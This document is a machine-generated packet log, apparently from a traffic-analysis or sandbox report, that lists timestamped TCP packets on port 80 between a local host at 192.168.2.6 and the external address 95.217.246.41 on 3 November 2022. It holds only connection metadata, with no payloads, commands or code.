Nov 3, 2022 12:47:19.916528940 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916542053 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916559935 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916567087 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916579008 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916595936 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916604996 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916615009 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916629076 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916634083 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916652918 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916657925 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916671991 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916682005 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916692019 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916701078 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916711092 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916728973 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916738987 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916750908 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916768074 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916774988 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916789055 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916795015 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916809082 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916827917 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916837931 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916846991 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916860104 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916866064 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916884899 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916898012 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916904926 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916923046 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916934013 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916941881 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916959047 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916964054 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916981936 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916987896 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917001963 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917013884 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917021990 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917040110 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917049885 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917059898 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917069912 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917078972 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917097092 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917114019 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917126894 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917126894 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917135000 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917152882 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917159081 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917171955 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917182922 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917191982 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917210102 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917211056 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917229891 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917233944 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917248964 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917267084 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917284966 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917292118 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917292118 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917304993 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917315960 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917325974 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917342901 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917349100 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917362928 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917380095 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917390108 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917390108 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917397976 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917417049 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917433977 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917439938 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917454958 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917462111 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917476892 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917494059 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917499065 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917511940 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917526007 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917526007 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917532921 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917548895 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917553902 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917567968 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917574883 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917593002 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917597055 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917613029 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917630911 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917632103 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917632103 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917649031 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917655945 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917655945 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917669058 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917685032 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917701960 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917712927 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917712927 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917712927 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917721033 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917735100 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917742014 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917759895 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917764902 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917778969 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917788982 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917798996 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917817116 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917829037 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917835951 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917854071 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917857885 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917871952 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917885065 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917892933 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917908907 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917912006 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917931080 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917937040 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.917951107 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917969942 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917982101 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.917995930 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918008089 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918020964 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918034077 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918042898 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918042898 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918046951 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918072939 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918090105 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918097973 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918112040 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918128967 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918133974 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918147087 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918154955 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918164968 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918184042 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918189049 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918201923 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918219090 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918225050 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918236971 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918241024 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918256044 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918267965 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918273926 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918288946 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918292046 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918311119 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918319941 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918328047 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918344975 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918351889 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918371916 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918384075 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918390036 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918406963 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918411970 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918426037 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918440104 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918443918 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918462038 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918469906 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918481112 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918499947 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918500900 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918518066 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918534994 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918534994 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918553114 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918555021 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918571949 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918584108 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918589115 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918603897 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918611050 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918627977 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918636084 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918647051 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918662071 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918663979 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918683052 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918692112 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918700933 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918718100 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918725967 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918736935 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918754101 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918756008 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918772936 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918777943 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918792009 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918806076 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918809891 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918824911 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918828964 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918848991 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918857098 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918867111 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918896914 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918903112 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918915033 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918922901 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918940067 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918945074 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918956995 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918967009 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918977022 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.918992043 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.918993950 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.919013023 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.919025898 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.919030905 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.919049025 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.919055939 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.919066906 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.919085979 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.919114113 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.954422951 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.954454899 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.954592943 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.956944942 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.956974983 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.956991911 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.957010031 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.957026005 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.957043886 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.957062006 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.957078934 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.957081079 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.957122087 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.957122087 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.957433939 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.957453966 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.957470894 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.957489967 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.957509041 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.957511902 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.957540035 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.957573891 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.238157988 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.238326073 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.519129992 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.519292116 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.619714022 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.620388031 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658107996 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658143997 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658163071 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658184052 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658199072 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658198118 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658214092 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658235073 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658253908 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658255100 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658277035 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658292055 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658297062 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658318043 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658325911 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658338070 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658349037 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658358097 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658369064 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658379078 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658397913 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658415079 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658423901 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658433914 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658451080 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658453941 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658474922 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658479929 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658493996 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658512115 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658526897 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658530951 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658550978 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658567905 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658569098 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658587933 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658601999 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658606052 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658626080 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658629894 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658644915 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658663988 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658672094 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658682108 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658700943 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658715963 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658719063 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658739090 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658746004 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658757925 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658775091 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658776999 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658797026 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658811092 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658814907 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658833981 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658849001 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658852100 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658869028 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658891916 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658902884 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658911943 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658921003 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658937931 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658951998 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658957958 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658977032 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.658989906 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.658997059 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659015894 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659029961 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659034967 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659046888 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659054041 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659073114 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659090996 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659095049 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659121037 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659131050 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659142017 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659153938 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.659159899 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.659181118 CET	80	49708	95.217.246.41	192.168.2.6
